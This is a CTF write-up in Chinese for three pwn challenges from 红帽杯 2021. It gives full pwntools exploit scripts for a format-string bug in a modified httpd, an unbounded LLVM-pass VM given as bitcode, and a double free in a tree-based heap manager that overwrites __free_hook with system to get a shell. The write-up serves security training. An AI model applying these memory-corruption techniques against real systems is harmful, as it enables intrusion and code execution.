[红帽杯 2021] PWN - Writeup
题目很有意思,学到很多
parser
这题是一个魔改的httpd,Content-Length小于0时存在格式化串漏洞,leak后写one_gadget即可
from pwn import *
#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12435)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
req_base = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1
aaaaa'''
req_leak = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1
||%8$p||%15$p||%213$p||
'''
def send_req(request):
p.sendafter(b"> ", request)
def exp():
# leak stack libc image_base
send_req(req_leak)
p.recvuntil(b"||")
stack_leak = int(p.recvuntil(b"||", drop = True), 16)
image_leak = int(p.recvuntil(b"||", drop = True), 16)
libc_leak = int(p.recvuntil(b"||", drop = True), 16)
libc_base = libc_leak - 0x21b97
image_base = image_leak - 0x14a8
one_gadget = libc_base + 0x4f3c2
system = libc_base + libc.symbols[b"execve"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_ret = image_base + 0x16a3
pop_rsi_ret = libc_base + 0x23e8a
pop_rdx_ret = libc_base + 0x1b96
print("stack_leak:", hex(stack_leak))
print("image_leak:", hex(image_leak))
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("image_base:", hex(image_base))
print("system:", hex(system))
print("binsh:", hex(binsh))
# attack_ret_addr
main_ret = 0x5a8 + stack_leak
print("main_ret:", hex(main_ret))
for i in range(6):
payload = req_base.encode()
payload += ("%{}c".format(((libc_base+0x10a45c >> (8*i) ) & 0xff) -5).encode() + b"%27$hhn").ljust(32, b"A")
payload += p64(main_ret+i)
print(len(payload))
send_req(payload)
# trigger main_ret->one_gadget
send_req("11111")
# ./getflag
p.interactive()
if __name__ == "__main__":
exp()
simpleVM
这里的漏洞出在LLVM Pass,LLVM核心库提供了一些"Pass"类让开发者可以去继承然后实现想要的功能。主要的作用就是把编译过程中间的IR喂给自定义的Pass从而进行一些针对性的、机器无关的优化。这题的Pass实现了一个由push pop store load add min
组成的虚拟机,由于没有边界限制,且主程序没开PIE保护,所以很容易进行任意地址读写。
README.txt
Hack LLVM!
Docker Guidance:
FROM ubuntu:18.04
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python
once your exp.bc(bitcode file) is uploaded
Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`
exp.c
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);
void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x72a9c);
store(1);
}
exp.bc
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind optnone uwtable
define void @o0o0o0o0() #0 {
call void @add(i32 1, i32 7856384)
call void @load(i32 1)
call void @add(i32 2, i32 469660)
call void @store(i32 1)
ret void
}
declare void @add(i32, i32) #1
declare void @load(i32) #1
declare void @store(i32) #1
attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}
manager
用二叉树管理内存的堆题,特定条件下删根节点会double free。
伪代码看的我血压升高,直接调确定一种情况比如根节点有左右节点,且右节点有两个叶子。这样free掉根节点时会出现loop chain
。慢慢利用就行。
exp
from pwn import *
#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"
# header: 0x555555554000+0x202018
def add(key:int, length:int, content):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"key> ", str(key).encode())
p.sendlineafter(b"len> ", str(length).encode())
p.sendafter(b"content> ", content)
def delete(key:int):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"key> ", str(key).encode())
def show():
p.sendlineafter(b"> ", b"3")
def exp():
# leak libc
add(1, 0x420, b"unsorted")
add(2, 0x420, b"unsorted2")
delete(1)
delete(2)
add(5, 0x10, b"5"*8)
show()
p.recvuntil(b"55555555")
libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x3ec090
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
# build double free
add(7, 0x10, b"7"*8)
add(6, 0x10, b"6"*8)
add(4, 0x10, b"4"*8)
add(8, 0x10, b"8"*8)
delete(8)
delete(5)
add(10, 0x10, p64(free_hook))
add(11, 0x10, b"/bin/sh\x00")
add(12, 0x10, p64(system))
print("free_hook:", hex(free_hook))
delete(11)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
[…] [红帽杯 2021] PWN – WriteupWriting an LLVM Pass — LLVM 12 documentationLLVM Pass入门导引LLVM Pass 简介(2) […]